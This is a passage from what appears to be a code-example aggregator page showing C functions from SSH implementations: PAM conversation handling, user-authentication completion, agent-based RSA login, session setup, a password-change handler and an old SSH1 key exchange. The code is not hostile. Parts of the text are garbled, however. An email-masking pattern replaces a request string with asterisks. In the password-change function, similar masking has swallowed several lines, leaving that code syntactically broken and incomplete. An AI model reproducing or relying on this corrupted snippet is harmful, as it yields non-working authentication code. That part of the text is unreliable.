	 * Grabbing control of execution and spinning until we get what
	 * we want is probably rude, but it seems to work properly, and
	 * the client *should* be in lock-step with us, so the loop should
	 * only be traversed once.
	 */
	while(context_pam2.finished == 0) {
		done = 1;
		dispatch_run(DISPATCH_BLOCK, &done, appdata_ptr);
		if(context_pam2.finished == 0)
			debug("extra packet during conversation");
	}

	if(context_pam2.num_received == context_pam2.num_expected) {
		*resp = context_pam2.responses;
		return PAM_SUCCESS;
	} else
		return PAM_CONV_ERR;
}
Пример #13
0
void
userauth_finish(Authctxt *authctxt, int authenticated, const char *method)
{
	char *methods;

	if (!authctxt->valid && authenticated)
		fatal("INTERNAL ERROR: authenticated invalid user %s",
		    authctxt->user);

	/* Special handling for root */
	if (authenticated && authctxt->pw->pw_uid == 0 &&
	    !auth_root_allowed(method)) {
		authenticated = 0;
#ifdef SSH_AUDIT_EVENTS
		PRIVSEP(audit_event(SSH_LOGIN_ROOT_DENIED));
#endif
	}

#ifdef USE_PAM
	if (options.use_pam && authenticated) {
		if (!PRIVSEP(do_pam_account())) {
			/* if PAM returned a message, send it to the user */
			if (buffer_len(&loginmsg) > 0) {
				buffer_append(&loginmsg, "\0", 1);
				userauth_send_banner(buffer_ptr(&loginmsg));
				packet_write_wait();
			}
			fatal("Access denied for user %s by PAM account "
			   "configuration", authctxt->user);
		}
	}
#endif

	/* Log before sending the reply */
	auth_log(authctxt, authenticated, method, " ssh2");

	if (authctxt->postponed)
		return;

	/* XXX todo: check if multiple auth methods are needed */
	if (authenticated == 1) {
		/* turn off userauth */
		dispatch_set(SSH2_MSG_USERAUTH_REQUEST, &dispatch_protocol_ignore);
		packet_start(SSH2_MSG_USERAUTH_SUCCESS);
		packet_send();
		packet_write_wait();
		/* now we can break out */
		authctxt->success = 1;
	} else {
		/* Allow initial try of "none" auth without failure penalty */
		if (!authctxt->server_caused_failure &&
		    (authctxt->attempt > 1 || strcmp(method, "none") != 0))
			authctxt->failures++;
		if (authctxt->failures >= options.max_authtries) {
			packet_disconnect(AUTH_FAIL_MSG, authctxt->user);
#ifdef SSH_AUDIT_EVENTS
			PRIVSEP(audit_event(SSH_LOGIN_EXCEED_MAXTRIES));
#endif
		}
		methods = authmethods_get();
		packet_start(SSH2_MSG_USERAUTH_FAILURE);
		packet_put_cstring(methods);
		packet_put_char(0);	/* XXX partial success, unused */
		packet_send();
		packet_write_wait();
		xfree(methods);
	}
}
Пример #14
0
/*
 * Checks if the user has an authentication agent, and if so, tries to
 * authenticate using the agent.
 */
static int
try_agent_authentication(void)
{
	int r, type, agent_fd, ret = 0;
	u_char response[16];
	size_t i;
	BIGNUM *challenge;
	struct ssh_identitylist *idlist = NULL;

	/* Get connection to the agent. */
	if ((r = ssh_get_authentication_socket(&agent_fd)) != 0) {
		if (r != SSH_ERR_AGENT_NOT_PRESENT)
			debug("%s: ssh_get_authentication_socket: %s",
			    __func__, ssh_err(r));
		return 0;
	}

	if ((challenge = BN_new()) == NULL)
		fatal("try_agent_authentication: BN_new failed");

	/* Loop through identities served by the agent. */
	if ((r = ssh_fetch_identitylist(agent_fd, 1, &idlist)) != 0) {
		if (r != SSH_ERR_AGENT_NO_IDENTITIES)
			debug("%s: ssh_fetch_identitylist: %s",
			    __func__, ssh_err(r));
		goto out;
	}
	for (i = 0; i < idlist->nkeys; i++) {
		/* Try this identity. */
		debug("Trying RSA authentication via agent with '%.100s'",
		    idlist->comments[i]);

		/* Tell the server that we are willing to authenticate using this key. */
		packet_start(SSH_CMSG_AUTH_RSA);
		packet_put_bignum(idlist->keys[i]->rsa->n);
		packet_send();
		packet_write_wait();

		/* Wait for server's response. */
		type = packet_read();

		/* The server sends failure if it doesn't like our key or
		   does not support RSA authentication. */
		if (type == SSH_SMSG_FAILURE) {
			debug("Server refused our key.");
			continue;
		}
		/* Otherwise it should have sent a challenge. */
		if (type != SSH_SMSG_AUTH_RSA_CHALLENGE)
			packet_disconnect("Protocol error during RSA authentication: %d",
					  type);

		packet_get_bignum(challenge);
		packet_check_eom();

		debug("Received RSA challenge from server.");

		/* Ask the agent to decrypt the challenge. */
		if ((r = ssh_decrypt_challenge(agent_fd, idlist->keys[i],
		    challenge, session_id, response)) != 0) {
			/*
			 * The agent failed to authenticate this identifier
			 * although it advertised it supports this.  Just
			 * return a wrong value.
			 */
			logit("Authentication agent failed to decrypt "
			    "challenge: %s", ssh_err(r));
			explicit_bzero(response, sizeof(response));
		}
		debug("Sending response to RSA challenge.");

		/* Send the decrypted challenge back to the server. */
		packet_start(SSH_CMSG_AUTH_RSA_RESPONSE);
		for (i = 0; i < 16; i++)
			packet_put_char(response[i]);
		packet_send();
		packet_write_wait();

		/* Wait for response from the server. */
		type = packet_read();

		/*
		 * The server returns success if it accepted the
		 * authentication.
		 */
		if (type == SSH_SMSG_SUCCESS) {
			debug("RSA authentication accepted by server.");
			ret = 1;
			break;
		} else if (type != SSH_SMSG_FAILURE)
			packet_disconnect("Protocol error waiting RSA auth "
			    "response: %d", type);
	}
	if (ret != 1)
		debug("RSA authentication using agent refused.");
 out:
	ssh_free_identitylist(idlist);
	ssh_close_authentication_socket(agent_fd);
	BN_clear_free(challenge);
	return ret;
}
Пример #15
0
static int
ssh_session2(void)
{
	int id = -1;

	/* XXX should be pre-session */
	if (!options.control_persist)
		ssh_init_stdio_forwarding();
	ssh_init_forwarding();

	/* Start listening for multiplex clients */
	muxserver_listen();

 	/*
	 * If we are in control persist mode and have a working mux listen
	 * socket, then prepare to background ourselves and have a foreground
	 * client attach as a control slave.
	 * NB. we must save copies of the flags that we override for
	 * the backgrounding, since we defer attachment of the slave until
	 * after the connection is fully established (in particular,
	 * async rfwd replies have been received for ExitOnForwardFailure).
	 */
 	if (options.control_persist && muxserver_sock != -1) {
		ostdin_null_flag = stdin_null_flag;
		ono_shell_flag = no_shell_flag;
		orequest_tty = options.request_tty;
		otty_flag = tty_flag;
 		stdin_null_flag = 1;
 		no_shell_flag = 1;
 		tty_flag = 0;
		if (!fork_after_authentication_flag)
			need_controlpersist_detach = 1;
		fork_after_authentication_flag = 1;
 	}
	/*
	 * ControlPersist mux listen socket setup failed, attempt the
	 * stdio forward setup that we skipped earlier.
	 */
	if (options.control_persist && muxserver_sock == -1)
		ssh_init_stdio_forwarding();

	if (!no_shell_flag || (datafellows & SSH_BUG_DUMMYCHAN))
		id = ssh_session2_open();

	/* If we don't expect to open a new session, then disallow it */
	if (options.control_master == SSHCTL_MASTER_NO &&
	    (datafellows & SSH_NEW_OPENSSH)) {
		debug("Requesting [email protected]");
		packet_start(SSH2_MSG_GLOBAL_REQUEST);
		packet_put_cstring("*****@*****.**");
		packet_put_char(0);
		packet_send();
	}

	/* Execute a local command */
	if (options.local_command != NULL &&
	    options.permit_local_command)
		ssh_local_cmd(options.local_command);

	/*
	 * If requested and we are not interested in replies to remote
	 * forwarding requests, then let ssh continue in the background.
	 */
	if (fork_after_authentication_flag) {
		if (options.exit_on_forward_failure &&
		    options.num_remote_forwards > 0) {
			debug("deferring postauth fork until remote forward "
			    "confirmation received");
		} else
			fork_postauth();
	}

	if (options.use_roaming)
		request_roaming();

	return client_loop(tty_flag, tty_flag ?
	    options.escape_char : SSH_ESCAPECHAR_NONE, id);
}
Пример #16
0
/*
 * parse PASSWD_CHANGEREQ, prompt user and send SSH2_MSG_USERAUTH_REQUEST
 */
void
input_userauth_passwd_changereq(int type, u_int32_t seqnr, void *ctxt)
{
	Authctxt *authctxt = ctxt;
	char *info, *lang, *password = NULL, *retype = NULL;
	char prompt[150];

	debug2("input_userauth_passwd_changereq");

	if (authctxt == NULL)
		fatal("input_userauth_passwd_changereq: "
		    "no authentication context");

	info = packet_get_utf8_string(NULL);
	if (strlen(info) != 0) {
		info = g11n_filter_string(info);
		log("%s", info);
	}
	xfree(info);
	lang = packet_get_string(NULL);
	xfree(lang);

	packet_start(SSH2_MSG_USERAUTH_REQUEST);
	packet_put_cstring(authctxt->server_user);
	packet_put_cstring(authctxt->service);
	packet_put_cstring(authctxt->method->name);
	packet_put_char(1);			/* additional info */
	snprintf(prompt, sizeof(prompt),
	    gettext("Enter %.30s@%.128s's old password: "******"Enter %.30s@%.128s's new password: "******"Retype %.30s@%.128s's new password: "******"Mismatch; try again, EOF to quit.");
			password = NULL;
		}
		memset(retype, 0, strlen(retype));
		xfree(retype);
	}
	packet_put_cstring(password);
	memset(password, 0, strlen(password));
	xfree(password);
	packet_add_padding(64);
	packet_send();

	dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ,
	    &input_userauth_passwd_changereq);
}
Пример #17
0
void do_connection(int privileged_port)
{
    int i;
    MP_INT session_key_int;
    unsigned char session_key[SSH_SESSION_KEY_LENGTH];
    unsigned char check_bytes[8];
    char *user;
    unsigned int cipher_type, auth_mask, protocol_flags;

    /* Generate check bytes that the client must send back in the user packet
       in order for it to be accepted; this is used to defy ip spoofing 
       attacks.  Note that this only works against somebody doing IP spoofing 
       from a remote machine; any machine on the local network can still see 
       outgoing packets and catch the random cookie.  This only affects
       rhosts authentication, and this is one of the reasons why it is
       inherently insecure. */
    for (i = 0; i < 8; i++)
        check_bytes[i] = random_get_byte(&sensitive_data.random_state);

    /* Send our public key.  We include in the packet 64 bits of random
       data that must be matched in the reply in order to prevent IP spoofing. */
    packet_start(SSH_SMSG_PUBLIC_KEY);
    for (i = 0; i < 8; i++)
        packet_put_char(check_bytes[i]);

    /* Store our public server RSA key. */
    packet_put_int(public_key.bits);
    packet_put_mp_int(&public_key.e);
    packet_put_mp_int(&public_key.n);

    /* Store our public host RSA key. */
    packet_put_int(sensitive_data.host_key.bits);
    packet_put_mp_int(&sensitive_data.host_key.e);
    packet_put_mp_int(&sensitive_data.host_key.n);

    /* Put protocol flags. */
    packet_put_int(SSH_PROTOFLAG_HOST_IN_FWD_OPEN);

    /* Declare which ciphers we support. */
    packet_put_int(cipher_mask());

    /* Declare supported authentication types. */
    auth_mask = 0;
    if (options.rhosts_authentication)
        auth_mask |= 1 << SSH_AUTH_RHOSTS;
    if (options.rhosts_rsa_authentication)
        auth_mask |= 1 << SSH_AUTH_RHOSTS_RSA;
    if (options.rsa_authentication)
        auth_mask |= 1 << SSH_AUTH_RSA;
    if (options.password_authentication)
        auth_mask |= 1 << SSH_AUTH_PASSWORD;
    packet_put_int(auth_mask);

    /* Send the packet and wait for it to be sent. */
    packet_send();
    packet_write_wait();

    debug("Sent %d bit public key and %d bit host key.", public_key.bits, sensitive_data.host_key.bits);

    /* Read clients reply (cipher type and session key). */
    packet_read_expect(SSH_CMSG_SESSION_KEY);

    /* Get cipher type. */
    cipher_type = packet_get_char();

    /* Get check bytes from the packet.  These must match those we sent earlier
       with the public key packet. */
    for (i = 0; i < 8; i++)
        if (check_bytes[i] != packet_get_char())
            packet_disconnect("IP Spoofing check bytes do not match.");

    debug("Encryption type: %.200s", cipher_name(cipher_type));

    /* Get the encrypted integer. */
    mpz_init(&session_key_int);
    packet_get_mp_int(&session_key_int);

    /* Get protocol flags. */
    protocol_flags = packet_get_int();
    packet_set_protocol_flags(protocol_flags);

    /* Decrypt it using our private server key and private host key (key with 
       larger modulus first). */
    if (mpz_cmp(&sensitive_data.private_key.n, &sensitive_data.host_key.n) > 0) {
        /* Private key has bigger modulus. */
        assert(sensitive_data.private_key.bits >= sensitive_data.host_key.bits + SSH_KEY_BITS_RESERVED);
        rsa_private_decrypt(&session_key_int, &session_key_int, &sensitive_data.private_key);
        rsa_private_decrypt(&session_key_int, &session_key_int, &sensitive_data.host_key);
    } else {
        /* Host key has bigger modulus (or they are equal). */
        assert(sensitive_data.host_key.bits >= sensitive_data.private_key.bits + SSH_KEY_BITS_RESERVED);
        rsa_private_decrypt(&session_key_int, &session_key_int, &sensitive_data.host_key);
        rsa_private_decrypt(&session_key_int, &session_key_int, &sensitive_data.private_key);
    }

    /* Compute session id for this session. */
    compute_session_id(session_id, check_bytes, sensitive_data.host_key.bits, &sensitive_data.host_key.n, sensitive_data.private_key.bits, &sensitive_data.private_key.n);

    /* Extract session key from the decrypted integer.  The key is in the 
       least significant 256 bits of the integer; the first byte of the 
       key is in the highest bits. */
    mp_linearize_msb_first(session_key, sizeof(session_key), &session_key_int);

    /* Xor the first 16 bytes of the session key with the session id. */
    for (i = 0; i < 16; i++)
        session_key[i] ^= session_id[i];

    /* Destroy the decrypted integer.  It is no longer needed. */
    mpz_clear(&session_key_int);

    /* Set the session key.  From this on all communications will be
       encrypted. */
    packet_set_encryption_key(session_key, SSH_SESSION_KEY_LENGTH, cipher_type, 0);

    /* Destroy our copy of the session key.  It is no longer needed. */
    memset(session_key, 0, sizeof(session_key));

    debug("Received session key; encryption turned on.");

    /* Send an acknowledgement packet.  Note that this packet is sent
       encrypted. */
    packet_start(SSH_SMSG_SUCCESS);
    packet_send();
    packet_write_wait();

    /* Get the name of the user that we wish to log in as. */
    packet_read_expect(SSH_CMSG_USER);

    /* Get the user name. */
    user = packet_get_string(NULL);

    /* Destroy the private and public keys.  They will no longer be needed. */
    rsa_clear_public_key(&public_key);
    rsa_clear_private_key(&sensitive_data.private_key);
    rsa_clear_private_key(&sensitive_data.host_key);

    /* Do the authentication. */
    do_authentication(user, privileged_port, cipher_type);
}